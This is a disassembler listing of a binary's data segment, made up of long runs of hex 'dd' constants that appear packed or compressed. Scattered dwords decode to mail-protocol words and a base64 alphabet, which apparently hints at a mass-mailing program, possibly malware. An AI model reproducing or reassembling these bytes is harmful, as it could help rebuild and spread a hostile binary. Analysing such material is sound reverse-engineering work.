		dd 2845BF89h, 119CA8ADh, 54F31401h, 66202DCCh, 94CAF2BDh
		dd 68500230h, 13FC2719h, 9A971346h, 21F5A13h, 3EEB5B87h
		dd 569416F9h, 835960A7h, 324B047Eh, 6D702675h, 84924614h
		dd 752820DBh, 21EB0818h, 0B7209B64h, 1CC81B16h,	3385AD51h
		dd 31DBFCB0h, 0E5EB6D86h, 0D61CA242h, 9CBF70DBh, 0AD2CB794h
		dd 0FC98501h, 9E33908Eh, 0A761400h, 420D02C6h, 69FA08DDh
		dd 18FE212Eh, 0A8FFFBC1h, 50881F1Ch, 0E420C1Ah,	0C103E383h
		dd 0F9C2046Eh, 16607E01h, 0F1ED68B6h, 79F8F2FDh, 0DD0BED15h
		dd 18422822h, 58512266h, 2E33332h, 20763C56h, 8E428ABh
		dd 12155B06h, 652C3DB3h, 2C190D38h, 174A3F53h, 0E91C463Fh
		dd 0EAC0DC03h, 708F2490h, 8187A0C8h, 382AC2DBh,	0F840DC39h
		dd 0D4014B8h, 9E17F603h, 684120DFh, 22B7AF58h, 31DCED3h
		dd 171A89B9h, 550B5FBAh, 0E0316218h, 54BBE84h, 8CCB916h
		dd 144991Ah, 7E1A1722h,	1DCD0861h, 2A118FC6h, 534ADC68h
		dd 7C2113BAh, 0A7C8F010h, 0B94369E4h, 972BB00Eh, 0CC8865FCh
		dd 3574C0DFh, 0B0501668h, 458E7A2Dh, 6BC5913Ch,	3D452DC8h
		dd 0E4582248h, 447C541Ah, 428E4513h, 91E12107h,	1CF4C432h
		dd 0B12B551Fh, 1E28C87Bh, 9C41D1EFh, 390B2712h,	0F36811CDh
		dd 0DCF81353h, 1210BA62h, 0E54784B1h, 0B922A722h, 24BA3A4Eh
		dd 0A88C2D2h, 0AF521151h, 7E2999BCh, 6813EB10h,	0A73E5A54h
		dd 6869448Eh, 94136554h, 7156428Eh, 22814786h, 0A9B92243h
		dd 6484BA2Bh, 0C0DEA68Ah, 23325E65h, 126A2D20h,	0D394B36h
		dd 0E5C7D217h, 0B4954D45h, 892D231Eh, 4D191BEFh, 0E00F4C1Eh
		dd 0A9DF6888h, 0CD1C0B22h, 0E278E98Bh, 0FE4381A5h, 2386817Ah
		dd 0AF111BEDh, 0DE535720h, 14A0220Fh, 22B21168h, 8D91CB23h
		dd 0E4D02B7Dh, 1E149540h, 6F94AD23h, 0E49E8840h, 194B2260h
		dd 8A4D1C8Bh, 14E462F6h, 0CBF7C20Fh, 3D05BBDh, 0B71B63E8h
		dd 0B9F2FA9Ah, 27A9217Ch, 0DC6A9410h, 0FBD096F0h, 0A94E686Ah
		dd 0FE1C3C4Fh, 1C911A41h, 6FC85E2Eh, 488490C6h,	1CCA42DCh
		dd 3D00412h, 8A590FD3h,	643B3E25h, 47568439h, 113B046Fh
		dd 6F0E7EEAh, 17E0C357h, 1C058341h, 6D68F27Fh, 1AE55744h
		dd 0A628A762h, 520A54C4h, 0AF0D444Eh, 0B751D84Ah, 9C1ABDC2h
		dd 8E7B7CA6h, 41DBA721h, 0C8A6849h, 454FA696h, 99E0C58h
		dd 1A7E218Ch, 361B87C5h, 2A0FC634h, 4736A268h, 2A222260h
		dd 4713BE68h, 0FA0F224Dh, 45E5546Eh, 3214A639h,	0E14F19FBh
		dd 0E71D2619h, 0FBC2275Eh, 6F0F7401h, 3AB30926h, 0E14EE812h
		dd 840FB460h, 531D627h,	2016E9B2h, 553E2CDFh, 180907BDh
		dd 0B2E88DB8h, 0E2B3FB6Dh, 0EAC40D4Bh, 21C1A31h, 43869808h
		dd 9F2F41C8h, 0B8C9462Bh, 0C55719DAh, 0BFDB34E4h, 9108E611h
		dd 81102217h, 0F5A4337Ch, 2B34BD76h, 3A52D113h,	882041B0h
		dd 0BA50CA8Bh, 8778911Ch, 8138E831h, 24582AEBh,	0F44EAA6Ah
		dd 27314E8Dh, 0CA0B44B9h, 321769A2h, 0FE12CA0Eh, 23E4A084h
		dd 453E1942h, 14AD042Bh, 2C2C5901h, 1858EE1Ch, 45B3887Bh
		dd 0DB133219h, 60C6A11h, 65C8458Eh, 864CDA00h, 9B198382h
		dd 0E89948B9h, 0B644114Fh, 29AC373Ch, 0C59E025h, 6C5404Dh
		dd 15220722h, 95706834h, 4812A511h, 18B51419h, 4A0DD085h
		dd 0FD70A193h, 0BE202E48h, 75D99913h, 2871080Eh, 0C54E3AAh
		dd 0FFED40C5h, 0CAAC0D49h, 0D02523FBh, 8117C8C2h, 8AE20E4Ch
		dd 0C414674h, 323ADEE9h, 0DDA2043Ah, 1131184Fh,	0A4748B11h
		dd 3E19C238h, 5E153A1Ah, 0EB37C08Eh, 0F484E02h,	8310BE01h
		dd 0F6755CFAh, 5C3E74FCh, 18880001h, 7D4417E4h,	3B1832B3h
		dd 84D7274Bh, 0F7B2C7C7h, 19B065D8h, 176EF74Dh,	0C364C0C2h
		dd 8999C4C3h, 0A05B2795h, 0E188D588h, 524964D8h, 17BE7B44h
		dd 80C5C0DCh, 2486F8E0h, 66A9D928h, 682A0F3Ah, 99237283h
		dd 885B1017h, 0AD79254h, 32148530h, 0C5FE40FDh,	84586AA7h
		dd 144B0F6Bh, 9104634Ah, 3C8342FDh, 0B98C124h, 0F034746Ch
		dd 6302AA1Bh, 0A48F6815h, 0D724B4Eh, 8287C12h, 7C720724h
		dd 0AABE6427h, 89B29B53h, 53BB042Ch, 176104D4h,	19AA3C21h
		dd 170202C6h, 0C021DC1Bh, 0C9200C16h, 24CAD712h, 3BBAF501h
		dd 7C52A46Ch, 82403E11h, 0F228B21h, 0BE8D0B4Eh,	129408D6h
		dd 6328E0A1h, 4907282Fh, 8FC9616h, 28119BA3h, 0A5E81401h
		dd 0D942A51h, 8606081h,	59449784h, 63A65DF8h, 8025577Ah
		dd 33B9FB16h, 4FADBEB8h, 0C91EB63h, 31090F8Eh, 61302515h
		dd 0D8990DB8h, 2C9D348Bh, 14C90A1Dh, 0B58E1D4Ch, 45BBF849h
		dd 36C09A14h, 2211ADFh,	6C15F16Fh, 2401538Eh, 0CDF11288h
		dd 42795709h, 4B892386h, 50C45E5Ch, 3616D061h, 5C9E521Dh
		dd 4D861A29h, 65225D47h, 9D51046Ah, 4E550E36h, 0E8E0D08Bh
		dd 9E9916A0h, 21F30C94h, 0C0BC1990h, 40BE0103h,	70B96724h
		dd 62F5A611h, 0A5F32370h, 581EE17Ch, 333FE362h,	24E45C29h
		dd 2530D523h, 0C47B5215h, 4808B948h, 0E814B102h, 8BA4531Dh
		dd 0B6785A22h, 0C6816DDh, 7B281F42h, 7EF07E84h,	0E310E040h
		dd 86A02685h, 3EB4A201h, 0D82DE39Ah, 0E42F4A54h, 22CC5370h
		dd 5A854FB4h, 0AA15C8C0h, 2DAE669Dh, 75461590h,	695DB80Ah
		dd 12AE0940h, 2DE1804h,	0C25ACE8Ah, 0E8210330h,	28331539h
		dd 0A814848Ah, 14D72B2Ch, 1F3BA921h, 6E1EE492h,	5260CD6h
		dd 0B1A81C91h, 578A0380h, 45754A99h, 52A2892Ch,	148E1C16h
		dd 918F50AAh, 0C04880Dh, 83D1EEBh, 534FF2A6h, 0BF61A3C4h
		dd 0E94B12A3h, 3BF7CD4Eh, 0FEC1F629h, 9CA6E904h, 6B8BC43Dh
		dd 80047855h, 85C60716h, 0BD00215Dh, 8340B42Ah,	831C148Dh
		dd 6613DB15h, 5C70A01h,	0A040BB44h, 84326B7h, 42214121h
		dd 2623AC2Ch, 2DFFF1E9h, 0A0891A4h, 680415BBh, 0AAD14E20h
		dd 222E1488h, 7B480341h, 40403B0Fh, 0E683896Eh,	200596C1h
		dd 96A9FC4Ch, 3191BD88h, 0DAEB4964h, 0A4227E67h, 8148A134h
		dd 0FA1E24AFh, 3F3FD74Dh, 9DF573D4h, 6597BAE4h,	75D59B4Fh
		dd 97E97D0h, 88ED38E1h,	13760804h, 348D506Fh, 47E3EE19h
		dd 57B00D4Bh, 4D44230h,	991878Dh, 44082ED8h, 1167E801h
		dd 0C2B9683Bh, 127B8886h, 133582B2h, 0C4703F4Dh, 874512F0h
		dd 233551DDh, 0CDF11288h, 846D9214h, 0F41E11ACh, 1A8C628Ah
		dd 2D8A6820h, 9A91B1D4h, 0B1D60F61h, 721ED615h,	142591EFh
		dd 86F8BC40h, 812A5B8Ch, 34453412h, 0A22BA50Eh,	0D3DB6252h
		dd 0C57F41Bh, 570F1A27h, 0DA84BE25h, 44BC6445h,	2F341303h
		dd 0C95F28C2h, 2963301Dh, 8D6034C8h, 0BB0A2D8Fh, 5385C514h
		dd 1C49646Ch, 958022BEh, 218C0A32h, 2211035Ch, 73B3FD6Fh
		dd 0C12BDDB5h, 5903154h, 91922A90h, 0C11C0B0h, 6627FF48h
		dd 78BC944Ch, 89100346h, 242BD011h, 0F649EBA3h,	0F8041242h
		dd 78BFF4F8h, 11447E3Ah, 9DB94216h, 4B8FC3BFh, 0D263C490h
		dd 0B8585E28h, 0F6E885CFh
		dd 0D6F0110Ch, 990EA2B9h, 12406C74h, 0D42968F8h, 4A318C8Fh
		dd 60C6036Fh, 84C5EE7Ch, 1CE810EBh, 8B571880h, 4A92C82Dh
		dd 2EE85509h, 0D5A81911h, 68433459h, 768CBCB2h,	0FD0FD292h
		dd 2C294A6Ch, 9626A919h, 44AB3FCAh, 43E22C3Ch, 90A08F10h
		dd 71D1B8C4h, 1D900975h, 3CBBD994h, 0B1259114h,	0EF150B10h
		dd 232276D1h, 49BA5009h, 0B2BB73B9h, 1991D624h,	4C8F4B03h
		dd 0F6C0A1E8h, 8D960704h, 584988B5h, 0E2849D2Eh, 228610FAh
		dd 4B682926h, 11D13895h, 10C4D747h, 0D6521D51h,	6C1D0736h
		dd 910F8551h, 91405A1Ah, 0D7D56BE9h, 2C46B580h,	422D02EBh
		dd 0F9DEA740h, 29164C50h, 2A0BC820h, 68A22B47h,	4E508050h
		dd 0C5D1031Dh, 0CC0FA8C0h, 74A6580Dh, 0B211F642h, 1060230Fh
		dd 0FD784F6h, 93C5C837h, 0CDBC0E1Bh, 36B91E62h,	85287542h
		dd 0AB96F60Eh, 1006C0CCh, 0F470074h, 832C4EBEh,	3EF22EF9h
		dd 698CAAAEh, 88014945h, 0C14A512Ch, 474A6F2Ah,	212B21BDh
		dd 97D89964h, 29D13C59h, 0F3BAAFA7h, 591E1C6Eh,	0B8141B1Ch
		dd 0C8D1944Ah, 43C1A5DCh, 62BB1004h, 0DB9E82B9h, 420F6422h
		dd 0F007CF65h, 10EC5E1h, 989835EBh, 0F88311FFh,	2874051Ah
		dd 19CA8D96h, 6E10C91h,	5C0604C6h, 66D74614h, 0CA758729h
		dd 4E8E4A58h, 39D7038Ah, 7C5B64E2h, 0CAAC857Ah,	0EC58FE91h
		dd 0B72890Eh, 8FC38F3Fh, 7BC4904Dh, 0DBB417CFh,	4319C813h
		dd 5A1F6BAh, 0EB03E62Dh, 0E4DCE305h, 5D4D27CAh,	0F6F8BCC4h
		dd 9E8D0DDFh, 8A0381B3h, 660D2CA3h, 4A079603h, 9112919Ah
		dd 868D0C9Dh, 0AA500DBCh, 5E11420Ch, 2419191Eh,	3E9109C9h
		dd 0B2205F42h, 0DD016A06h, 9CD7D668h, 52622C22h, 730DE985h
		dd 1DF0A60Eh, 0E814E230h, 214E0DBFh, 94AA3BE0h,	7BC68114h
		dd 236A2995h, 3BD3E2D7h, 460EAAE8h, 8E32107Eh, 7B5215EDh
		dd 0B851164Eh, 7482CA30h, 89104E31h, 3BB909A7h,	83090930h
		dd 0C62196F1h, 0C622CD3Ah, 0D92AF40Eh, 110B42A2h, 1A20F22h
		dd 5F0F3111h, 7177E7D5h, 8A635A8Ch, 6A51AA16h, 70257B32h
		dd 3219F084h, 0E44D529Fh
		db 91h
byte_412CFD	db 50h,	6Bh		; DATA XREF: seg001:0040D2FCo
byte_412CFF	db 29h			; DATA XREF: seg001:0040D300o
		dd 0E8418751h, 0D24D0CA9h
		db 0Dh
byte_412D09	db 37h,	0E2h, 7Dh	; DATA XREF: seg001:0040D2F8o
		dd 0A37F3A11h, 0E863AD51h, 0AE4D40B3h, 20A58478h, 473A6F94h
		dd 6BB24F23h, 6245E815h, 0FAB28521h, 0C62022Ch,	5DA17AD1h
		dd 0A03840BCh, 529E8612h, 2C31340Fh, 51988E2Ch,	4093862Fh
		dd 0D27E813h, 22569B95h, 5257A92Eh, 0D2310F6h, 58FC14C9h
		dd 28481D59h, 0FB88018h, 0C597691h, 8B182F48h, 0A871ABA5h
		dd 377F046Ah, 781179C7h, 90121DE7h, 332C28DAh, 157FCAA6h
		dd 428E3259h, 7DED2458h, 0CB4295Ch, 0A5A74F58h,	9C7C0B0Bh
		dd 0C351B861h, 0CC5B7388h, 82960516h, 99FB4574h, 54E71C47h
		dd 8A125202h, 6D640F8Ch, 3798F357h, 6A96155Dh, 0AA6809B7h
		dd 0A8F14014h, 310B5A8Bh, 17515123h, 431C2FF3h,	0A6EA9D84h
		dd 40C11722h, 44142C39h, 410720DCh, 0F4680AEBh,	0D2346079h
		dd 0A77FB28h, 590D2EC2h, 56E61E21h, 0AEDF1DFh, 3B841157h
		dd 440AECC4h, 53A4138Eh, 84B8A396h, 2984EEEDh, 652716CDh
		dd 0B6F4AD3Dh, 36129FECh, 34210A4Eh, 0B150802h,	30101E42h
		dd 24840234h, 6FE50AB3h, 6E5F98B7h, 6F3A36FFh, 0CB6B841Fh
		dd 0ACD6EAA8h, 412D69BCh, 0E47CD323h, 0C815CC28h, 0C347F90Eh
		dd 3EF80BE7h, 37F6B812h, 31081877h, 3D215610h, 0D6C5B80Bh
		dd 4A868EB0h, 0B3441058h, 3862DC3Fh, 29340E05h,	0DD6214BCh
		dd 337834B8h, 0BFD614F4h, 0DB29E8ECh, 33842C7h,	9D0A4E10h
		dd 8C557416h, 0EC7C8A14h, 0BF6FC709h, 0E1A71F63h, 21E2349Fh
		dd 402DCABAh, 0A91774ADh, 3D1247B9h, 7E3FD364h,	21DD3202h
		dd 50772A30h, 4C940BB7h, 72F141ADh, 0C45841A7h,	0D93BC91Fh
		dd 195B8E0Dh, 3C3C820Eh, 9CC1142h, 8043CA1h, 0F6FB8C6Ah
		dd 38182531h, 164E12FFh, 0CCBB0C2Dh, 27B9660Ch,	0FC6AD24Bh
		dd 0EB1A451Dh, 0F9EFCB3Fh, 0C7C2ED84h, 54008BDh, 10096242h
		dd 218C104Ch, 52380540h, 18FB7D6Ah, 3F0843BBh, 48B8C43Ch
		dd 0DBA1B3C9h, 19100B08h, 0F46CDCAh, 94F55E30h,	4482ECE9h
		dd 3039297h, 820D8B4Eh,	8839F960h, 9E420644h, 421BA08h
		dd 0FD265962h, 954608FFh, 2E84499Ch, 0DC6EBE45h, 14AB8C36h
		dd 425C4C2Bh, 0A4621745h, 430A440h, 0CF3C8224h,	9259ACAAh
		dd 0D50323FAh, 0B432729h, 0E916CA11h, 8402FC6Ah, 0A770744h
		dd 30B87801h, 0FC4FB9B2h, 50BA2206h, 1741E13h, 8F78D4C3h
		dd 23076F77h, 0F2EBFB80h, 53FA40FEh, 57565501h,	49D3BE50h
		dd 0C02B3A80h, 9868FA8Bh, 0FF6413C3h, 20899830h, 590D0D6Ah
		dd 0F724ABF3h, 8CF0489Bh, 0C200F6DAh, 0BA747504h, 7FE026Ch
		dd 80228A7Fh, 42AFCEFCh, 100572E6h, 66F476E6h, 333B803h
		dd 3810E0C1h, 5AE3010Eh, 42990C51h, 858D81Ch, 874ACDFBh
		dd 0ABD6FF8Ch, 8536E85h, 748A651Eh, 4B108905h, 3C862464h
		dd 9A4386FCh, 214D5BC4h, 0DB14FB6h
		db 2, 0E9h
word_413012	dw 7954h		; DATA XREF: seg001:0041124Co
dword_413014	dd 0A187E20h, 0F70EBB84h		db 0BFh, 0
word_41301E	dw 0FA80h		; DATA XREF: seg001:00411248o
		dd 454BBA60h, 73035058h, 3903B002h, 0E5908493h,	743C1274h
		dd 810A125Ah, 0B061A4EBh, 2BEADCF5h, 280DDB7Bh,	3508938Bh
		dd 7503AE00h, 0D33B09F1h, 0A606ED76h, 19A31C8Bh, 7359D1D8h
		dd 0EA7CE17Ah, 83041260h, 1575063Ah, 0B3C38A02h, 36AB51C0h
		dd 39928CE8h, 0C133591Eh, 0E24454A6h, 58476A42h, 3C9BBA8h
		dd 89C30368h, 102104DBh, 60D9226Ch, 4F8D1058h, 0FF035120h
		dd 0F65F38D0h, 0ED83E075h, 458B0308h, 73C33B30h, 204773D7h
		dd 0B824400Ah, 0AB8EC7EDh, 4BB7E5AFh, 4C91075Eh, 7A7497Dh
		dd 0F28D4C99h, 7281DB4Bh, 73C5E815h, 0F12D1114h, 595F0665h
		dd 1411A3E8h, 8875C985h, 0C627B92Ah, 4131724Ch,	486A2D00h
		dd 55C08359h, 74081B39h, 489C0E0Eh, 10581007h, 19001575h
		dd 80FB488Ah, 2890E8F9h, 75CC0AC7h, 0FC400351h,	83520E3Eh
		dd 0B9124F08h, 0E8147BF9h, 168C5053h, 4484BD29h, 0FF8C3F10h
		dd 6158DC21h, 643C84B5h, 0F52FE88Fh, 2F025813h,	60FE5B5Dh
		dd 9FFDD841h, 810C7110h, 5CB8C238h, 0C708C158h,	8348402h
		dd 0C420289h, 81C3C033h, 83F02B61h, 8A0D7540h, 0FAF03350h
		dd 0A300AFAh, 494892CCh, 0C3E72875h, 8557FB92h,	0C0408979h
		dd 398B7A7Eh, 7C9C3C53h, 7686A713h, 78F0986Fh, 67F0D2F0h
		dd 339F2F0h, 3DD312FEh,	573A020h, 1042092Bh, 6CA03FEBh
		dd 184A8B95h, 200372E6h, 0E352F303h, 2B06D819h,	0C68312FFh
		dd 49590004h, 3A07148Ah, 75072FE6h, 0D28447ECh,	0AD0AF355h
		dd 7AD9A5Ah, 59AC25B2h,	41240C42h, 0F46D9F7h, 4804B71Fh
		dd 4A01CB1Eh, 81148D1Ch, 3F3B02E0h, 74F472C6h, 0EB77CAC7h
		dd 705CB7DCh, 4E6C7452h, 61EA53E6h, 730E75EEh, 5D446F54h
		dd 3D72454Eh, 26C7F0F9h, 0EC1F6C41h, 3F652C63h,	366F6956h
		dd 594D5E1Fh, 9F792E6Dh, 57FD4631h, 704FC714h, 68546EA1h
		dd 6461328Bh, 500B9D0Ch, 8E6384CFh, 0CF1F3473h,	1C746A53h
		dd 89664143h, 0E9CB6E69h, 73EC4D79h, 5E61906Bh,	285A49Ch
		dd 14C81EB0h, 0C4A4192h, 0E1BAF7E3h, 0BA48C5E2h, 6ABF14C2h
		dd 8398530h, 941D13C6h,	0AC2617A2h, 0DC8C5171h,	402CF70Fh
		dd 8000B720h, 811A7530h, 0F76F92CAh, 5218448Ch,	6C91008h
		dd 7E8C890Ch, 73C9982Ah, 1F98056Ah, 8C6D0D69h, 4C8D87A2h
		dd 0C97C7E4Dh, 4A180981h, 0F0A03C72h, 892C6852h, 8D50A74Bh
		dd 1877CC45h, 379C1406h, 0EBDD511Bh, 0A5589E52h, 785A04E2h
		dd 0CA6C207h, 0C8E85283h, 0F5EB2106h, 51B2576Ah, 45EE0AB4h
		dd 4B6442F1h, 0FB56CA14h, 331444CAh, 10488484h,	19C28F51h
		dd 240C0221h, 9015280Dh, 16792AEEh, 52C78983h, 1B23C542h
		dd 99EB23D4h, 0B039E7B9h, 8473412Ah, 0F6AE81CCh, 9D8015CCh
		dd 0B4F0EB62h, 52DA2154h, 0B88CBAA4h, 0B0001041h, 0A001B006h
		dd 0A519E83Ch, 0DE0590AFh, 5198789Eh, 820350B6h, 3C3FF05h
		dd 0EEE3049Dh, 0E1D1FFE1h, 53F660C8h, 0CBA8DAFAh, 0F3D25208h
		dd 8981A2F5h, 0C92B4274h, 9DD27A81h, 41BCE07Fh,	0F934FC30h
		dd 10002B29h, 382B7391h, 70FD0243h, 42EAEAADh, 52EEE2E8h
		dd 3073E8C7h, 43105332h, 44A4DF23h, 0C8C850D2h,	0A450C924h
		dd 1A185815h, 0EEF15B2Fh, 0FCC48386h, 6A32C2C1h, 4C815A06h
		dd 60024B38h, 891C4AFAh, 33828810h, 4A500443h, 0EEB82CB2h
		dd 480242CDh, 525029EFh, 493BCC29h, 940F0F84h, 0FC58CD45h
		dd 7A6D7AB6h, 50305119h, 40E9E8F9h, 0C3DF7A71h,	4DE43042h
		dd 89044B86h, 39800802h, 87735807h, 74BE41FCh, 33EB3FD3h
		dd 7A021266h, 4A48E908h, 80581F18h, 1FE66E7Dh, 0BEC6B20Fh
		dd 0F9440C2Ah, 905BEBA0h, 240C4020h, 88A4FA48h,	0BD526B1Ch
		dd 84B028D1h, 4DC957E4h, 7D3DA52Ch, 9FD5543Dh, 0AB8C24EBh
		dd 778B2A32h, 39E5FFF3h, 806B0C31h, 8E0D0A1h, 52D260F1h
		dd 59A31850h, 1F9219Ah,	53535FFCh, 0EB8F1DA6h, 0F9CACAF4h
		dd 0C828105Ah, 8B1C4486h, 2789490Ah, 3F2D58DAh,	39320FE3h
		dd 0A0FD8592h, 871FF36h, 0D180DA8Fh, 574419C3h,	0E64C84F5h
		dd 10558452h, 3B161FD2h, 29D75437h, 0B3C2DAD5h,	2E4AE3BAh
		dd 24E15158h, 5052C3B1h, 8B4E4B1Dh, 3E830EB4h, 760ABB42h
		dd 4942B81Ah, 247D3941h, 6A5F5035h, 414A45h, 204B8B28h
		dd 801C23E3h, 425027Bh,	4007C075h, 0B1E8650Ch, 0BBD4E168h
		dd 86DA7808h, 590841F7h, 279D79ACh, 0B0E28758h,	450584E6h
		dd 804741Ch, 444235F1h,	0BB8E4A2Ch, 4E24CA94h, 8D168A54h
		dd 0B1416414h, 2820E33Fh, 0B55A6E45h, 8BC22491h, 687A0C1Eh
		dd 2018E5F1h, 0E868FCABh, 901F7003h, 1890104h, 0F3E8D38Bh
		dd 43DB49FDh, 0B604F689h, 50097504h, 0D14A9097h, 89495892h
		dd 3E5991Ch, 5E379B22h,	0DECA04Bh, 6C00450Ah, 20545269h
		dd 0E7302E31h, 6F431881h, 0FC727970h, 741E6867h, 29DD2820h
		dd 2830320Ch, 3306A12Ch, 477052FDh, 0D06D6E69h,	9C686387h
		dd 0FF09904Ch, 63C24825h, 0A44CB202h, 54325006h, 5C0C5819h
		dd 21604386h, 0C8689064h, 3270646Ch, 0C781974h,	8043867Ch
		dd 88908421h, 90648CC8h, 98199432h, 43869C0Ch, 90A421A0h
		dd 64ACC8A8h, 19B432B0h, 86BC0CB8h, 0C421C043h,	0CCC8C890h
		dd 0D432D064h, 0DC0CD819h, 21E04386h, 0C8E890E4h, 32F064ECh
		dd 0CF819F4h, 0C3E086FCh, 21044384h, 0C8109008h, 32186414h
		dd 0C20191Ch, 28438624h, 34902C21h, 3C6438C8h, 4464A837h
		dd 4C194832h, 4386500Ch, 90582154h, 6460C85Ch, 196C3264h
		dd 86740C70h, 7C217843h, 84C88090h, 8C328864h, 940C9019h
		dd 21984386h, 0C8A0909Ch, 32A864A4h, 0CB019ACh,	0B84386B4h
		dd 0C090BC21h, 0C864C4C8h, 0D419CC32h, 4386D80Ch, 90E021DCh
		dd 64E8C8E4h, 19F032ECh, 83FC0CF4h, 38CC0000h, 0D73140AAh
		dd 0C4746809h, 2F713A70h, 2E027760h, 78726162h,	0C6F716Eh
		dd 75662D64h, 74616912h, 632E650Ah, 0F52F6DFCh,	0F46761CCh
		dd 0F76CEE73h, 720E07DBh, 2E68702Eh, 0E0AF0115h, 60434544h
		dd 2052084Fh, 41755453h, 0C1BEC1E7h, 0B9269C06h, 800A5018h
		dd 46410636h, 2068FAE2h, 0E2C327A1h, 36332C48h,	76E03071h
		dd 5F6C6112h, 6B721204h, 466C0C84h, 60C8E020h, 45C70C04h
		dd 1A3FFFCh, 68B0E33h, 7308E83Bh, 394DF035h, 1EFE030Ch
		dd 4119BE0Fh, 0E8521055h, 8355873Dh, 0C8C604C4h, 0D2330C3Fh
		dd 140EF1F7h, 100C36C1h, 5DC9D92Bh, 5A18659Bh, 81C88B0h
		dd 58C0EB33h, 50C2F014h, 2E0F53E8h, 9632D97Eh, 0C010E1C6h
		dd 4CF8C3C9h, 0F7182478h, 743303C1h, 18A1E11h, 849EB983h
		dd 113B54C0h, 8BEF7583h, 0FEFFBAF0h, 0D0FA7EE2h, 18F0833Ch
		dd 43AC233h, 0E201E0A9h, 0E8740681h, 4FFC418Bh,	0E47B3274h
		dd 0C24246Eh, 0DB1376FFh, 2F0100Fh, 8D3FCDEBh, 2B53D041h
		dd 14C3C132h, 0FD4216FEh, 87E0FCC8h, 48D590DBh,	0EF3404ABh
		dd 65F33808h, 2616794Dh, 7204345Fh, 6B8B3164h, 323228F4h
		dd 1A33598Dh, 0C91734B2h, 644804B7h, 966A36E5h,	7F3237CAh
		dd 23AB3891h, 31235639h, 1AE35630h, 643532B2h, 34C86A33h
		dd 0AB3591D5h, 46563623h, 8D38AC37h, 0A11A3959h, 0B21A3032h
		dd 316E3531h, 563323ABh, 35AC3446h, 1A36598Dh, 643537B2h
		dd 39C86A38h, 303309D5h, 5590C7h, 44434241h, 47004645h
		dd 4B4A4948h, 4E4D4Ch, 5251504Fh, 56555453h, 59585700h
		dd 6362615Ah, 66650064h
		dd 6A696867h, 6D006C6Bh, 71706F6Eh, 1747372h, 78777675h
		dd 70307A79h, 3400335Ch, 38373635h, 0E02F2B39h,	5101A7FFh
		dd 3F09943Eh, 3B3A8139h, 0C01D3D3Ch, 3000201h, 7060504h
		dd 0A0908h, 0E0D0C0Bh, 1211100Fh, 15141301h, 19181716h
		dd 1B001A18h, 1F1E1D1Ch, 222120h, 26252423h, 2A292827h
		dd 2D2C2B05h, 84242F2Eh, 4E81F43h, 12A8501h, 535B07AFh
		dd 6830026Ah, 26FC3010h, 40A9E8CDh, 0D88BD0FFh,	830F507Fh
		dd 0EA3D9A86h, 0BABD0F2Ah, 10740CFBh, 2680390h,	0C8AC8026h
		dd 15AF15E8h, 8786A084h, 72F5513Fh, 44C9099h, 60EDEBC3h
		dd 150353D3h, 4B8B3072h, 194C983Ch, 27E30078h, 0F633CB03h
		dd 0B377148Dh, 8B20510Fh, 87D38F12h, 720C1C0h, 38420232h
		dd 75033A80h, 24443BF5h, 460B7488h, 180C71EEh, 34CCDD72h
		dd 8B130CEBh, 0F462451h, 0F914B73Fh, 0BF1C413Ch, 900419C3h
		dd 48BD890Ah, 0C2F8618Dh, 7B291BEh, 0C3648B1Fh,	5DEBF908h
		dd 65FF67B1h, 890C88E5h, 62E80D26h, 436DD531h, 0E80C531Dh
		dd 15801394h, 74D2020Bh, 14C2831Eh, 0F8C1828Fh,	72E815E3h
		dd 0F0751974h, 8F5FC1Bh, 340B1CD8h, 375941E8h, 0B219B8A0h
		dd 0ACD80C0Dh, 241050E8h, 5C8906A5h, 0AEF81824h, 2A068F20h
		dd 1C816158h, 0FA44330Bh, 90E3D8Fh, 2CB97C8Fh, 832A80A1h
		dd 588BFF38h, 5480E704h, 3366C3F6h, 0A8EB81DBh,	0EBEC0024h
		dd 38B06A0h, 66D8F703h,	14A5B33Dh, 0CB60C3D0h, 86382D38h
		dd 35508783h, 349B3E2Eh, 0C82205B1h, 18C1E5E7h,	73650D11h
		dd 3E2654F1h, 45FED713h, 18DD07Bh, 0E99310CCh, 3219A0D3h
		dd 44B3B43Ch, 2E7E107Fh, 2124053Ch, 2C621B04h, 0C4014ABh
		dd 0D13B85A7h, 3D2EC05Eh, 3250289h, 877F2C18h, 4D0E7B91h
		dd 0D516905Ah, 0FC9D376Fh, 0ED93B808h, 112B4093h, 0E09C8CCh
		dd 0F0BA1F39h, 0CD09B401h, 4C01B821h, 69CA0AB0h, 702E2073h
		dd 9E399E72h, 631D6D61h, 3F7D6E1Ch, 65629E74h, 7E753DBFh
		dd 44066961h, 6DF8534Fh, 38F4B06Fh, 0A940D2Eh, 0B1C04424h
		dd 0F54FD7CDh, 1CB9AC15h, 0A4E68304h, 0A7F7E2E4h, 0BEC6B80Ch
		dd 21766411h, 0A0F043FAh, 0A7F1E2D9h, 0F4C4E308h, 63695242h
		dd 11425663h, 4550848Ch, 1014C05h, 47E09CCAh, 0EE14593Ch
		dd 0B219E80h, 0A700701h, 1215A099h, 9432C8D8h, 0AAB7E110h
		dd 5002920Ch, 8D13400h,	0D4D1092h, 101F22A4h, 83B3892h
		dd 0C40C0F53h, 0B4093328h, 50102D3Dh, 6B02D416h, 2CCBD976h
		dd 2EF08176h, 78736574h, 0AE28C488h, 0C52A5691h, 4CD9C97h
		dd 642EE007h, 192C7461h, 0FC0A57D8h, 0AD2E0840h, 0C02F3028h
		dd 6508722Eh, 0A636F6Ch, 0CEB4044Eh, 38950608h,	8542F328h
		dd 24BB017Ah, 9499DCA4h, 72128009h, 1423E84Eh, 214C1935h
		dd 2A099136h, 6445C22h,	0E83740FCh, 1612D889h, 993A3099h
		dd 18092219h, 0F4220C12h, 48E00436h, 99B899CCh,	0D20991C6h
		dd 0F044E422h, 990C89FEh, 28091A39h, 3C243012h,	62914848h
		dd 84447222h, 12AA899Ch, 19AED3C0h, 91A8B9BAh, 8C229C09h
		dd 89587C44h, 8C9C696Ah, 0C83CB17Ah, 66955209h,	0DB13CAC4h
		dd 2091099h, 1240D12h, 74910B48h, 34441522h, 12738909h
		dd 48042417h, 22129103h, 96448197h, 0E5C4C4Ch, 504D4554h
		dd 346166A0h, 373B3335h, 277AD865h, 513E406Dh, 54491655h
		dd 444C470Dh, 8547E41h,	4D0B3E33h, 204C49E0h, 4F52461Eh
		dd 3C803A1Dh, 7677656Eh, 75720369h, 616B4073h, 9FE770A3h
		dd 2E79CD1Dh, 325061Ch,	4C484505h, 6E93204Fh, 0A968A361h
		dd 14487473h, 50430E52h, 4F4D2054h, 64188275h, 93787772h
		dd 9331F303h, 160A530h,	0C5696440h, 24585F8Eh, 20060A30h
